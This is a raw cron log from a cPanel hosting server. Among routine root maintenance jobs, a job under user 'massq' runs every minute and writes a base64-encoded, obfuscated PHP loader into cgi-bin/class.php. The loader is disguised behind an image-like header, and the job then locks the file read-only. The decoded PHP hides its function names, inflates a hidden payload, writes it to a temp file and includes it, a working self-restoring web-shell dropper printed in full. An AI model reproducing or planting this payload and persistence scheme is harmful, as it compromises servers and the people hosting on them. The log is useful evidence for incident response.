Sep  8 14:15:01 server CROND[8670]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 14:15:01 server CROND[8669]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  8 14:15:01 server CROND[8673]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:16:01 server CROND[9772]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:16:01 server CROND[9773]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:16:01 server CROND[9774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:17:01 server CROND[10201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:17:01 server CROND[10203]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:17:01 server CROND[10202]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:18:01 server CROND[10744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:18:01 server CROND[10745]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:18:01 server CROND[10746]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:19:01 server CROND[11136]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:19:01 server CROND[11137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:19:01 server CROND[11138]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:20:01 server CROND[11535]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 14:20:01 server CROND[11536]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 14:20:01 server CROND[11539]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 14:20:01 server CROND[11546]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 14:20:01 server CROND[11548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:20:01 server CROND[11550]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:20:01 server CROND[11551]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 14:20:01 server CROND[11553]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:20:01 server CROND[11554]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 14:21:01 server CROND[12409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:21:01 server CROND[12410]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:21:01 server CROND[12411]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:22:01 server CROND[12787]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:22:01 server CROND[12788]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:22:01 server CROND[12789]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:23:01 server CROND[13267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:23:01 server CROND[13268]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:23:01 server CROND[13269]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:24:01 server CROND[13650]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:24:01 server CROND[13651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:24:01 server CROND[13652]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:25:01 server CROND[14064]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 14:25:01 server CROND[14066]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 14:25:01 server CROND[14068]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 14:25:01 server CROND[14069]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 14:25:01 server CROND[14072]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  8 14:25:01 server CROND[14073]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:25:01 server CROND[14071]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:25:01 server CROND[14070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:26:01 server CROND[14904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:26:01 server CROND[14905]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:26:01 server CROND[14906]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 14:27:01 server CROND[15276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 14:27:01 server CROND[15277]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 14:27:01 server CROND[15279]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 14:27:01 server CROND[15278]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
